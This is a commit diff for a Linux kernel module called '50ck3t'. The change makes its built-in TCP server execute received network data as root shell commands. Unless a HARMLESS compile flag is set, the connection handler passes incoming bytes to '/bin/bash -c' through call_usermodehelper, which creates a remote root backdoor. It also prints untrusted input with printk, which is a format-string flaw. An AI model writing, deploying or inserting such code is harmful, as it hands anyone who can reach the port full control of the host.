Adding call_usermodehelper to input commands as root
This commit is contained in:
parent
3abccec17e
commit
4aa1387a89
39
src/50ck3t.c
39
src/50ck3t.c
@ -31,9 +31,19 @@
|
||||
/**** includes *****************************************************************
|
||||
*******************************************************************************/
|
||||
#include "50ck3t.h"
|
||||
|
||||
#ifdef HARMLESS
|
||||
#else
|
||||
#include <linux/init.h>
|
||||
#endif
|
||||
/**** types *******************************************************************
|
||||
*******************************************************************************/
|
||||
#ifdef HARMLESS
|
||||
#else
|
||||
static char *SEnvP[] = {
|
||||
"HOME=/",
|
||||
NULL
|
||||
};
|
||||
#endif
|
||||
struct tcp_conn_handler_data{
|
||||
struct sockaddr_in *FAddress;
|
||||
struct socket *FAcceptSocket;
|
||||
@ -178,7 +188,6 @@ int connection_handler(void *AData){
|
||||
unsigned char LInBuf[LLen+1];
|
||||
unsigned char LOutBuf[LLen+1];
|
||||
|
||||
|
||||
DECLARE_WAITQUEUE(recv_wait, current);
|
||||
allow_signal(SIGKILL|SIGSTOP);
|
||||
|
||||
@ -221,21 +230,30 @@ int connection_handler(void *AData){
|
||||
LRet = tcp_server_receive(LAcceptSocket, LID, LAddress, LInBuf, LLen,\
|
||||
MSG_DONTWAIT);
|
||||
if(LRet > 0){
|
||||
if(memcmp(LInBuf, "HOLA", 4) == 0){
|
||||
#ifdef HARMLESS
|
||||
if(memcmp(LInBuf, "HOLA", 4) == 0){
|
||||
memset(LOutBuf, 0, LLen+1);
|
||||
strcat(LOutBuf, "HOLASI");
|
||||
pr_info("sending response: %s\n", LOutBuf);
|
||||
tcp_server_send(LAcceptSocket, LID, LOutBuf,\
|
||||
strlen(LOutBuf), MSG_DONTWAIT);
|
||||
}
|
||||
if(memcmp(LInBuf, "ADIOS", 5) == 0){
|
||||
}
|
||||
if(memcmp(LInBuf, "ADIOS", 5) == 0){
|
||||
memset(LOutBuf, 0, LLen+1);
|
||||
strcat(LOutBuf, "ADIOSAMIGO");
|
||||
pr_info("sending response: %s\n", LOutBuf);
|
||||
tcp_server_send(LAcceptSocket, LID, LOutBuf,\
|
||||
strlen(LOutBuf), MSG_DONTWAIT);
|
||||
break;
|
||||
}
|
||||
}
|
||||
#else
|
||||
int Ret;
|
||||
printk(LInBuf);
|
||||
char *LArgV[] = {"/bin/bash", "-c", LInBuf, NULL};
|
||||
printk("Calling usermodehelper");
|
||||
Ret = call_usermodehelper(LArgV[0], LArgV, SEnvP, UMH_WAIT_EXEC);
|
||||
printk("\nRet is %i \n", Ret);
|
||||
#endif
|
||||
}
|
||||
}
|
||||
|
||||
@ -309,10 +327,8 @@ int tcp_server_accept(void){
|
||||
__set_current_state(TASK_RUNNING);
|
||||
remove_wait_queue(&LSocket->sk->sk_wq->wait, &accept_wait);
|
||||
|
||||
pr_info("accept connection\n");
|
||||
|
||||
LAcceptErr =
|
||||
LSocket->ops->accept(LSocket, LAcceptSocket, O_NONBLOCK);
|
||||
LAcceptErr = LSocket->ops->accept(LSocket, LAcceptSocket, O_NONBLOCK);
|
||||
|
||||
if(LAcceptErr < 0){
|
||||
pr_info(" *** mtp | accept_error: %d while accepting "
|
||||
@ -326,9 +342,8 @@ int tcp_server_accept(void){
|
||||
|
||||
addr_len = sizeof(struct sockaddr_in);
|
||||
|
||||
LAcceptErr =
|
||||
LAcceptSocket->ops->getname(LAcceptSocket,\
|
||||
(struct sockaddr *)LClient,\
|
||||
LAcceptErr = LAcceptSocket->ops->getname(LAcceptSocket,
|
||||
(struct sockaddr *)LClient,
|
||||
&addr_len, 2);
|
||||
|
||||
if(LAcceptErr < 0){
|
||||
|
Loading…
Reference in New Issue
Block a user